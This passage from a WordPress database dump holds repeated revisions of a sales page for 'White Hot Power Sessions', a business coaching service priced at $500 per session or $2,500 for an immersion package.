reference.\r\n\r\n<strong>The Investment in your clarity and confidence to pursue your bigger future:</strong><span style="color: #ff6600;">\r\nIndividual Session: $500 USD</span><span style="color: #ff6600;"> Paid in advance through PayPal\r\nImmersion Power Session: $2,500 USD</span> <span style="color: #ff6600;"> Paid in advance through PayPal</span>\r\nI offer an Immersion Jam of (6) additional Power Sessions to keep the momentum going enabling you more opportunity to gain deeper insight and guidance on your chosen tactics for realizing your vision. You save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n<h2><span style="color: #ff6600;">It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential surround you at all times. My life''s great work is to use all my creative talent and business development expertise to guide you closer to your own inner source of creative power – your own white hot center! Only from that place will you be able to sustain your passion and energy to pursue your big ideas.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;"><strong><a href="mail://thomson@whitehotcenter.com" target="_blank">Email</a> <span style="color: #333333;">me to book your White Hot Power Session!</span></strong></span>\r\n</span></h2>', 'White Hot Power Sessions', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2010-12-03 17:17:49', '2010-12-04 00:17:49', '', 200, 'http://www.whitehotcenter.com/2010/12/03/200-revision-22/', 0, 'revision', '', 0),
(1298, 2, '2010-12-03 17:22:07', '2010-12-04 00:22:07', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"><img class="alignnone size-full wp-image-416" title="wh.powerart" src="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif" alt="wh.powerart" width="450" height="190" /></a></span></h2>\r\n<h2><span style="color: #ff6600;">Where do you go from here?What fires you up? What really matters to you? What do you want out of your business? How do you pull a white hot idea out of the goo of creation and have it take its equivalent physical form in your business and in your life? These are some of the burning questions I jam with you on when we come together in a 1on1 White Hot Center Power Session. </span></h2>\r\n<span style="color: #333333;">The result of our creative jam together– you''ll have more clarity and confidence with a deeper conviction to pursue what really matters to you and serves the marketplace. We''ll discuss creative ideas, and assess your best opportunities to increase your impact, influence and income. </span> Power Sessions are a game-changing, creative, inspirational, intuitive jam sessions for creative early-stage entrepreneurs, solo professionals, artists, and brave souls who seek more clarity, conviction and confidence to pursue their ideas for their bigger future. The format is simple. We have a creative think conversation on your best ideas for growing and expanding your business and influence in the world.<span style="color: #ff6600;">\r\n</span>\r\n<h1><span style="color: #ff6600;">Here''s how it works:</span></h1>\r\n<h1><strong> </strong></h1>\r\n<strong>Advance Assessment</strong>\r\nIn advance (usually a week ) of our call, I''ll send you some questions via email that will help you answer what''s in your way and what will be required of you to focus your energies on your burning desires. You''ll provide me with your answers, send me links to your website, pdf / printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go.\r\n\r\n<strong>The Consulting Session</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas. I''ll help you with strategies and methods for personal growth, lifestyle design, value creation, product development, branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision and confidence in your actions. After our session, I''ll send you back an MP3 file of our recorded Power Session Jam for your future reference.\r\n<h1><span style="color: #ff6600;">The Investment</span></h1>\r\n<strong>You can invest in creating your bigger future on two levels to support your individual requirements:</strong><span style="color: #ff6600;">\r\nIndividual Session: $500 USD</span><span style="color: #ff6600;"> Paid in advance through PayPal\r\nImmersion Power Session: $2,500 USD</span> <span style="color: #ff6600;"> Paid in advance through PayPal</span>\r\nI offer an Immersion Jam of (6) additional Power Sessions to keep the momentum going enabling you more opportunity to gain deeper insight and guidance on your chosen tactics for realizing your vision. You save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n<h2><span style="color: #ff6600;">It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential surround you at all times. My life''s great work is to use all my creative talent and business development expertise to guide you closer to your own inner source of creative power – your own white hot center! Only from that place will you be able to sustain your passion and energy to pursue your big ideas.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;"><strong><a href="mail://thomson@whitehotcenter.com" target="_blank">Email</a> <span style="color: #333333;">me to book your White Hot Power Session!</span></strong></span>\r\n</span></h2>', 'White Hot Power Sessions', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2010-12-03 17:22:07', '2010-12-04 00:22:07', '', 200, 'http://www.whitehotcenter.com/2010/12/03/200-revision-23/', 0, 'revision', '', 0),
(1299, 2, '2010-12-03 17:25:00', '2010-12-04 00:25:00', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"><img class="alignnone size-full wp-image-416" title="wh.powerart" src="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif" alt="wh.powerart" width="450" height="190" /></a></span></h2>\r\n<h2><span style="color: #ff6600;">Where do you go from here?What fires you up? What really matters to you? What do you want out of your business? How do you pull a white hot idea out of the goo of creation and have it take its equivalent physical form in your business and in your life? These are some of the burning questions I jam with you on when we come together in a 1on1 White Hot Center Power Session. </span></h2>\r\n<span style="color: #333333;">The result of our creative jam together– you''ll have more clarity and confidence with a deeper conviction to pursue what really matters to you and serves the marketplace. We''ll discuss creative ideas, and assess your best opportunities to increase your impact, influence and income. </span> Power Sessions are a game-changing, creative, inspirational, intuitive jam sessions for creative early-stage entrepreneurs, solo professionals, artists, and brave souls who seek more clarity, conviction and confidence to pursue their ideas for their bigger future. The format is simple. We have a creative think conversation on your best ideas for growing and expanding your business and influence in the world.<span style="color: #ff6600;">\r\n</span>\r\n<h1><span style="color: #ff6600;">Here''s how it works:</span></h1>\r\n<h1><strong> </strong></h1>\r\n<strong>Advance Assessment</strong>\r\nIn advance (usually a week ) of our call, I''ll send you some questions via email that will help you answer what''s in your way and what will be required of you to focus your energies on your burning desires. You''ll provide me with your answers, send me links to your website, pdf / printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go. This helps get all the research out of the way before our power jam, and makes every minute of our conversation productive and effective.\r\n\r\n<strong>The Consulting Session</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas. I''ll help you with strategies and methods for personal growth, lifestyle design, value creation, product development, branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision and confidence in your actions. After our session, I''ll send you back an MP3 file of our recorded Power Session Jam for your future reference.\r\n<h1><span style="color: #ff6600;">The Investment</span></h1>\r\n<strong>You can invest in creating your bigger future on two levels to support your individual requirements:</strong><span style="color: #ff6600;">\r\nIndividual Session: $500 USD</span><span style="color: #ff6600;"> Paid in advance through PayPal\r\nImmersion Power Session: $2,500 USD</span> <span style="color: #ff6600;"> Paid in advance through PayPal</span>\r\nI offer an Immersion Jam of (6) additional Power Sessions to keep the momentum going enabling you more opportunity to gain deeper insight and guidance on your chosen tactics for realizing your vision. You save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n<h2><span style="color: #ff6600;">It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential surround you at all times. My life''s great work is to use all my creative talent and business development expertise to guide you closer to your own inner source of creative power – your own white hot center! Only from that place will you be able to sustain your passion and energy to pursue your big ideas.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;"><strong><a href="mail://thomson@whitehotcenter.com" target="_blank">Email</a> <span style="color: #333333;">me to book your White Hot Power Session!</span></strong></span>\r\n</span></h2>', 'White Hot Power Sessions', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2010-12-03 17:25:00', '2010-12-04 00:25:00', '', 200, 'http://www.whitehotcenter.com/2010/12/03/200-revision-24/', 0, 'revision', '', 0),
(1300, 2, '2010-12-03 17:26:20', '2010-12-04 00:26:20', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"><img class="alignnone size-full wp-image-416" title="wh.powerart" src="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif" alt="wh.powerart" width="450" height="190" /></a></span></h2>\r\n<h2><span style="color: #ff6600;">Where do you go from here? What fires you up? What really matters to you? How to you get to the next level in your business? How do you pull a white hot idea out of the goo of creation and have it take its equivalent physical form in your business and in your life? These are some of the burning questions I jam with you on when we come together in a 1on1 White Hot Center Power Session. </span></h2>\r\n<span style="color: #333333;">The result of our creative jam together– you''ll have more clarity and confidence with a deeper conviction to pursue what really matters to you and serves the marketplace. We''ll discuss creative ideas, and assess your best opportunities to increase your impact, influence and income. </span>\r\n\r\n<span style="color: #333333;"> </span> Power Sessions are a game-changing, creative, inspirational, intuitive jam sessions for creative early-stage entrepreneurs, solo professionals, artists, and brave souls who seek more clarity, conviction and confidence to pursue their ideas for their bigger future. The format is simple. We have a creative think conversation on your best ideas for growing and expanding your business and influence in the world.<span style="color: #ff6600;">\r\n</span>\r\n<h1><span style="color: #ff6600;">Here''s how it works:</span></h1>\r\n<h1><strong> </strong></h1>\r\n<strong>Advance Assessment</strong>\r\nIn advance (usually a week ) of our call, I''ll send you some questions via email that will help you answer what''s in your way and what will be required of you to focus your energies on your burning desires. You''ll provide me with your answers, send me links to your website, pdf / printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go. This helps get all the research out of the way before our power jam, and makes every minute of our conversation productive and effective.\r\n\r\n<strong>The Consulting Session</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas. I''ll help you with strategies and methods for personal growth, lifestyle design, value creation, product development, branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision and confidence in your actions. After our session, I''ll send you back an MP3 file of our recorded Power Session Jam for your future reference.\r\n<h1><span style="color: #ff6600;">The Investment</span></h1>\r\n<strong>You can invest in creating your bigger future on two levels to support your individual requirements:</strong><span style="color: #ff6600;">\r\nIndividual Session: $500 USD</span><span style="color: #ff6600;"> Paid in advance through PayPal\r\nImmersion Power Session: $2,500 USD</span> <span style="color: #ff6600;"> Paid in advance through PayPal</span>\r\nI offer an Immersion Jam of (6) additional Power Sessions to keep the momentum going enabling you more opportunity to gain deeper insight and guidance on your chosen tactics for realizing your vision. You save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n<h2><span style="color: #ff6600;">It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential surround you at all times. My life''s great work is to use all my creative talent and business development expertise to guide you closer to your own inner source of creative power – your own white hot center! Only from that place will you be able to sustain your passion and energy to pursue your big ideas.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;"><strong><a href="mail://thomson@whitehotcenter.com" target="_blank">Email</a> <span style="color: #333333;">me to book your White Hot Power Session!</span></strong></span>\r\n</span></h2>', 'White Hot Power Sessions', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2010-12-03 17:26:20', '2010-12-04 00:26:20', '', 200, 'http://www.whitehotcenter.com/2010/12/03/200-revision-25/', 0, 'revision', '', 0),
(1301, 2, '2010-12-03 17:29:05', '2010-12-04 00:29:05', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"><img class="alignnone size-full wp-image-416" title="wh.powerart" src="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif" alt="wh.powerart" width="450" height="190" /></a></span></h2>\r\n<h2><span style="color: #ff6600;">Where do you go from here? What fires you up? What really matters to you? How to you get to the next level in your business? How do you pull a white hot idea out of the goo of creation and have it take its equivalent physical form in your business and in your life? These are some of the burning questions I jam with you on when we come together in a 1on1 White Hot Center Power Session. </span></h2>\r\n<span style="color: #333333;">The result of our creative jam together– you''ll have more clarity and confidence with a deeper conviction to pursue what really matters to you and serves the marketplace. We''ll discuss creative ideas, and assess your best opportunities to increase your impact, influence and income. </span>\r\n\r\n<span style="color: #333333;"> </span> Power Sessions are a game-changing, creative, inspirational, intuitive jam sessions for creative early-stage entrepreneurs, solo professionals, artists, and brave souls who seek more clarity, conviction and confidence to pursue their ideas for their bigger future. The format is simple. We have a creative think conversation on your best ideas for growing and expanding your business and influence in the world.<span style="color: #ff6600;">\r\n</span>\r\n<h1><span style="color: #ff6600;">Here''s how it works:</span></h1>\r\n<h1><strong> </strong></h1>\r\n<strong>Advance Assessment</strong>\r\nIn advance (usually a week ) of our call, I''ll send you some questions via email that will help you answer what''s in your way and what will be required of you to focus your energies on your burning desires. You''ll provide me with your answers, send me links to your website, pdf / printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go. This helps get all the research out of the way before our power jam, and makes every minute of our conversation productive and effective.\r\n\r\n<strong>The Consulting Session</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas. I''ll help you with strategies and methods for personal growth, lifestyle design, value creation, product development, branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision and confidence in your actions. After our session, I''ll send you back an MP3 file of our recorded Power Session Jam for your future reference.\r\n<h1><span style="color: #ff6600;">Your investment:</span></h1>\r\n<strong>You can invest in creating your bigger future on two levels to support your individual requirements:</strong><span style="color: #ff6600;">\r\n</span>\r\n\r\n<strong><span style="color: #ff6600;">Individual Session: $500 USD</span><span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Session: $2,500 USD</span> <span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\nI offer an Immersion Jam of (6) additional Power Sessions to keep the momentum going enabling you more opportunity to gain deeper insight and guidance on your chosen tactics for realizing your vision. You save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n<h2><span style="color: #ff6600;">It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential surround you at all times. My life''s great work is to use all my creative talent and business development expertise to guide you closer to your own inner source of creative power – your own white hot center! Only from that place will you be able to sustain your passion and energy to pursue your big ideas.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;"><strong><a href="mail://thomson@whitehotcenter.com" target="_blank">Email</a> <span style="color: #333333;">me to book your White Hot Power Session!</span></strong></span>\r\n</span></h2>', 'White Hot Power Sessions', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2010-12-03 17:29:05', '2010-12-04 00:29:05', '', 200, 'http://www.whitehotcenter.com/2010/12/03/200-revision-26/', 0, 'revision', '', 0);
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(1302, 2, '2010-12-03 17:32:35', '2010-12-04 00:32:35', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"><img class="alignnone size-full wp-image-416" title="wh.powerart" src="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif" alt="wh.powerart" width="450" height="190" /></a></span></h2>\r\n<h2><span style="color: #ff6600;">Where do you go from here? What fires you up? What really matters to you? How to you get to the next level in your business? How do you pull a white hot idea out of the goo of creation and have it take its equivalent physical form in your business and in your life? These are some of the burning questions I jam with you on when we come together in a 1on1 White Hot Center Power Session. </span></h2>\r\n<span style="color: #333333;">The result of our creative jam together– you''ll have more clarity and confidence with a deeper conviction to pursue what really matters to you and serves the marketplace. We''ll discuss creative ideas, and assess your best opportunities to increase your impact, influence and income. </span>\r\n\r\n<span style="color: #333333;"> </span> Power Sessions are a game-changing, creative, inspirational, intuitive jam sessions for creative early-stage entrepreneurs, solo professionals, artists, and brave souls who seek more clarity, conviction and confidence to pursue their ideas for their bigger future. The format is simple. We have a creative think conversation on your best ideas for growing and expanding your business and influence in the world.<span style="color: #ff6600;">\r\n</span>\r\n<h1><span style="color: #ff6600;">Here''s how it works:</span></h1>\r\n<h1><strong> </strong></h1>\r\n<strong>Advance Assessment</strong>\r\nIn advance (usually a week ) of our call, I''ll send you some questions via email that will help you answer what''s in your way and what will be required of you to focus your energies on your burning desires. You''ll provide me with your answers, send me links to your website, pdf / printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go. This helps get all the research out of the way before our power jam, and makes every minute of our conversation productive and effective.\r\n\r\n<strong>The Consulting Session</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas. I''ll help you with strategies and methods for personal growth, lifestyle design, value creation, product development, branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision and confidence in your actions. After our session, I''ll send you back an MP3 file of our recorded Power Session Jam for your future reference.\r\n<h1><span style="color: #ff6600;">Your investment:</span></h1>\r\n<strong>You can invest in creating your bigger future on two levels to support your individual requirements:</strong><span style="color: #ff6600;">\r\n</span>\r\n\r\n<strong><span style="color: #ff6600;">Individual Session: $500 USD</span><span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Session: $2,500 USD</span> <span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\nI offer an Immersion Jam of (6) Power Sessions to keep your momentum going– enabling you more opportunity to gain deeper insight and guidance on your chosen tactics for next steps. You"ll save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n<h2><span style="color: #ff6600;">It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential surround you at all times. My life''s great work is to use all my creative talent and business development expertise to guide you closer to your own inner source of creative power – your own white hot center! Only from that place will you be able to sustain your passion and energy to pursue your big ideas.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;"><strong><a href="mailto:thomson@whitehotcenter.com" target="_blank">Email</a> <span style="color: #333333;">me to book your White Hot Power Session!</span></strong></span>\r\n</span></h2>', 'White Hot Power Sessions', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2010-12-03 17:32:35', '2010-12-04 00:32:35', '', 200, 'http://www.whitehotcenter.com/2010/12/03/200-revision-27/', 0, 'revision', '', 0),
(1303, 2, '2010-12-03 17:36:20', '2010-12-04 00:36:20', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"><img class="alignnone size-full wp-image-416" title="wh.powerart" src="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif" alt="wh.powerart" width="450" height="190" /></a></span></h2>\r\n<h2><span style="color: #ff6600;">Where do you go from here? What fires you up? What really matters to you? How to you get to the next level in your business? How do you pull a white hot idea out of the goo of creation and have it take its equivalent physical form in your business and in your life? These are some of the burning questions I jam with you on when we come together in a 1on1 White Hot Center Power Session. </span></h2>\r\n<span style="color: #333333;">The result of our creative jam together– you''ll have more clarity and confidence with a deeper conviction to pursue what really matters to you and serves the marketplace. We''ll discuss creative ideas, and assess your best opportunities to increase your impact, influence and income. </span>\r\n\r\n<span style="color: #333333;"> </span> Power Sessions are a game-changing, creative, inspirational, intuitive jam sessions for creative early-stage entrepreneurs, solo professionals, artists, and brave souls who seek more clarity, conviction and confidence to pursue their ideas for their bigger future. The format is simple. We have a creative think conversation on your best ideas for growing and expanding your business and influence in the world.<span style="color: #ff6600;">\r\n</span>\r\n<h1><span style="color: #ff6600;">Here''s how it works:</span></h1>\r\n<h1><strong> </strong></h1>\r\n<strong>Advance Assessment</strong>\r\nIn advance (usually a week ) of our call, I''ll send you some questions via email that will help you answer what''s in your way and what will be required of you to focus your energies on your burning desires. You''ll provide me with your answers, send me links to your website, pdf / printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go. This helps get all the research out of the way before our power jam, and makes every minute of our conversation productive and effective.\r\n\r\n<strong>The Power Session Jam</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas. I''ll help you with strategies and methods for personal growth, lifestyle design, value creation, product development, branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision and confidence in your actions. After our session, I''ll send you back an MP3 file of our recorded Power Session Jam for your future reference.\r\n<h1><span style="color: #ff6600;">Your investment:</span></h1>\r\n<strong>You can invest in creating your bigger future on two levels to support your individual requirements:</strong><span style="color: #ff6600;">\r\n</span>\r\n\r\n<strong><span style="color: #ff6600;">Individual Session: $500 USD</span><span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Session: $2,500 USD</span> <span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\nI offer an Immersion Jam of (6) Power Sessions to keep your momentum going– enabling you more opportunity to gain deeper insight and guidance on your chosen tactics for next steps. You"ll save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n<h2><span style="color: #ff6600;">It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential surround you at all times. My life''s great work is to use all my creative talent and business development expertise to guide you closer to your own inner source of creative power – your own white hot center! Only from that place will you be able to sustain your passion and energy to pursue your big ideas.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;"><strong><a href="mailto:thomson@whitehotcenter.com" target="_blank">Email</a> <span style="color: #333333;">me to book your White Hot Power Session!</span></strong></span>\r\n</span></h2>', 'White Hot Power Sessions', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2010-12-03 17:36:20', '2010-12-04 00:36:20', '', 200, 'http://www.whitehotcenter.com/2010/12/03/200-revision-28/', 0, 'revision', '', 0),
(1304, 2, '2010-12-03 17:41:45', '2010-12-04 00:41:45', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"><img class="alignnone size-full wp-image-416" title="wh.powerart" src="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif" alt="wh.powerart" width="450" height="190" /></a></span></h2>\r\n<h2><span style="color: #ff6600;">Where do you go from here? What fires you up? What really matters to you? How to you get to the next level in your business? How do you pull a white hot idea out of the goo of creation and have it take its equivalent physical form in your business and in your life? These are some of the burning questions I jam with you on when we come together in a 1on1 White Hot Center Power Session. </span></h2>\r\n<span style="color: #333333;">The result of our creative jam together– you''ll have more clarity and confidence with a deeper conviction to pursue what really matters to you and serves the marketplace. We''ll discuss creative ideas, and assess your best opportunities to increase your impact, influence and income. </span>\r\n\r\n<span style="color: #333333;"> </span> Power Sessions are a game-changing, creative, inspirational, intuitive jam sessions for creative early-stage entrepreneurs, solo professionals, artists, and brave souls who seek more clarity, conviction and confidence to pursue their ideas for their bigger future. The format is simple. We have a creative think conversation on your best ideas for growing and expanding your business and influence in the world.<span style="color: #ff6600;">\r\n</span>\r\n<h1><span style="color: #ff6600;">Here''s how it works:</span></h1>\r\n<h1><strong> </strong></h1>\r\n<strong>Advance Assessment</strong>\r\nIn advance (usually a week ) of our call, I''ll send you some questions via email that will help you answer what''s in your way and what will be required of you to focus your energies on your burning desires. You''ll provide me with your answers, send me links to your website, pdf / printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go. This helps get all the research out of the way before our power jam, and makes every minute of our conversation productive and effective.\r\n\r\n<strong>The Power Session Jam</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas. I''ll help you with strategies and methods for personal growth, lifestyle design, value creation, product development, branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision and confidence in your actions. After our session, I''ll send you back an MP3 file of our recorded Power Session Jam for your future reference.\r\n<h1><span style="color: #ff6600;">Your investment:</span></h1>\r\n<strong>You can invest in creating your bigger future on two levels to support your individual requirements:</strong><span style="color: #ff6600;">\r\n</span>\r\n\r\n<strong><span style="color: #ff6600;">Individual Session: $500 USD</span><span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Session: $2,500 USD</span> <span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\nI offer an Immersion Jam of (6) Power Sessions to keep your momentum going– enabling you more opportunity to gain deeper insight and guidance on your chosen tactics for next steps. You"ll save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n<h2><span style="color: #ff6600;">It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential surround you at all times. My life''s great work is to use all my creative talent and business development expertise to guide you closer to your own inner source of creative power – your own white hot center! Only from that place will you be able to sustain your passion and energy to pursue your big ideas.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;"><strong><a href="mailto:thomson@whitehotcenter.com" target="_blank">Email</a> <span style="color: #333333;">me to book your White Hot Power Session!</span></strong></span>\r\n</span></h2>', 'White Hot Power Sessions', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2010-12-03 17:41:45', '2010-12-04 00:41:45', '', 200, 'http://www.whitehotcenter.com/2010/12/03/200-revision-29/', 0, 'revision', '', 0),
(1305, 2, '2010-12-03 17:43:37', '2010-12-04 00:43:37', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"><img class="alignnone size-full wp-image-416" title="wh.powerart" src="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif" alt="wh.powerart" width="450" height="190" /></a></span></h2>\r\n<h2><span style="color: #ff6600;">Where do you go from here? What fires you up? What really matters to you? How to you get to the next level in your business? How do you pull a white hot idea out of the goo of creation and have it take its equivalent physical form in your business and in your life? These are some of the burning questions I jam with you on when we come together in a 1on1 White Hot Center Power Session. </span></h2>\r\n<span style="color: #333333;">The result of our creative jam together– you''ll have more clarity and confidence with a deeper conviction to pursue what really matters to you and serves the marketplace. We''ll discuss creative ideas, and assess your best opportunities to increase your impact, influence and income. </span>\r\n\r\n<span style="color: #333333;"> </span> Power Sessions are a game-changing, creative, inspirational, intuitive jam sessions for creative early-stage entrepreneurs, solo professionals, artists, and brave souls who seek more clarity, conviction and confidence to pursue their ideas for their bigger future. The format is simple. We have a creative think conversation on your best ideas for growing and expanding your business and influence in the world.<span style="color: #ff6600;">\r\n</span>\r\n<h1><span style="color: #ff6600;">Here''s how it works:</span></h1>\r\n<h1><strong> </strong></h1>\r\n<strong>Advance Assessment</strong>\r\nIn advance (usually a week ) of our call, I''ll send you some questions via email that will help you answer what''s in your way and what will be required of you to focus your energies on your burning desires. You''ll provide me with your answers, send me links to your website, pdf / printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go. This helps get all the research out of the way before our power jam, and makes every minute of our conversation productive and effective.\r\n\r\n<strong>The Power Session Jam</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas. I''ll help you with strategies and methods for personal growth, lifestyle design, value creation, product development, branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision and confidence in your actions. After our session, I''ll send you back an MP3 file of our recorded Power Session Jam for your future reference.\r\n<h1><span style="color: #ff6600;">Your investment:</span></h1>\r\n<strong>You can invest in creating your bigger future on two levels to support your individual requirements:</strong><span style="color: #ff6600;">\r\n</span>\r\n\r\n<strong><span style="color: #ff6600;">Individual Session: $500 USD</span><span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Session: $2,500 USD</span> <span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\nI offer an Immersion Jam of (6) Power Sessions to keep your momentum going– enabling you more opportunity to gain deeper insight and guidance on your chosen tactics for next steps. You"ll save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson.gif"><img class="alignleft size-medium wp-image-341" title="thomson dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-300x208.gif" alt="" width="300" height="208" /></a>It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential surround you at all times. My life''s great work is to use all my creative talent and business development expertise to guide you closer to your own inner source of creative power – your own white hot center! Only from that place will you be able to sustain your passion and energy to pursue your big ideas.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;"><strong><a href="mailto:thomson@whitehotcenter.com" target="_blank">Email</a> <span style="color: #333333;">me to book your White Hot Power Session!</span></strong></span>\r\n</span></h2>', 'White Hot Power Sessions', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2010-12-03 17:43:37', '2010-12-04 00:43:37', '', 200, 'http://www.whitehotcenter.com/2010/12/03/200-revision-30/', 0, 'revision', '', 0),
